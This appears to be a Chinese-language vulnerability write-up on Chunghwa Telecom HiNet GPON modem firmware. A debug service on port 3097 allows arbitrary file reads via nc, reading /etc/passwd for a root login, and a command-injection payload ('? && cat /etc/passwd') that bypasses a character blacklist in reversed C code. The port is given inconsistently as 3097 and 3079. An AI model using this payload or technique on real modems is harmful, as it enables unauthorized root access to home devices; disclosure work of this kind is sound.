HiNet GPON 韌體中託管在連接埠 3097 上的服務允許攻擊者隨機命令執行
一系列中華電信數據機的配置異常漏洞,引響約 25 萬台機器
相關的 CVE 漏洞編號:
3097 連接埠提供了許多跟電信網路相關的指令,推測是中華電信給工程師遠端對數據機進行各種網路設定的除錯介面
用 nc 對 3079 port 下 MISC SCRIPT <path/to/file>
可以實施隨機檔案讀取
讀取 /etc/passwd
取得 root 密碼後用 ssh 登入機器
1
2
3
4
5
6
7
8
9
10
11
12
|
$ uname -a
Linux I-040GW.cht.com.tw 2.6.30.9-5VT #1 PREEMPT Wed Jul 31 15:40:34 CST 2019
[luna SDK V1.8.0] rlx GNU/Linux
$ netstat -anp | grep 3097
tcp 0 0 127.0.0.1:3097 0.0.0.0:* LISTEN
$ ls -lh /usr/bin/omcimain
-rwxr-xr-x 1 root root 4.6M Aug 1 13:40 /usr/bin/omcimain
$ file /usr/bin/omcimain
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked
|
omcimain 是聽在 3079 port 的程式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
char *input = util_trim(s1);
if (input[0] == '\0' || input[0] == '#')
return 0;
while (SUB_COMMAND_LIST[i] != 0) {
sub_cmd = SUB_COMMAND_LIST[i++];
if (strncmp(input, sub_cmd, strlen(sub_cmd)) == 0)
break;
}
if (SUB_COMMAND_LIST[i] == 0 && strchr(input, '?') == 0)
return -10;
// ...
char *BLACKLISTS = "|<>(){}`;";
while (BLACKLISTS[i] != 0) {
if (strchr(input, BLACKLISTS[i]) != 0) {
util_fdprintf(fd, "invalid char '%c' in command\n", BLACKLISTS[i]);
return -1;
}
i++;
}
snprintf(file_buf, 64, "/tmp/tmpfile.%d.%06ld", getpid(), random() % 1000000);
snprintf(cmd_buf, 1024, "/usr/bin/diag %s > %s 2>/dev/null", input, file_buf);
system(cmd_buf);
|
經由逆向 omcimain 發現如過指令都沒有配對成功會執行上方程式碼
notexisten? && cat /etc/passwd
可以繞過 BLACKLISTS 執行 cat /etc/passwd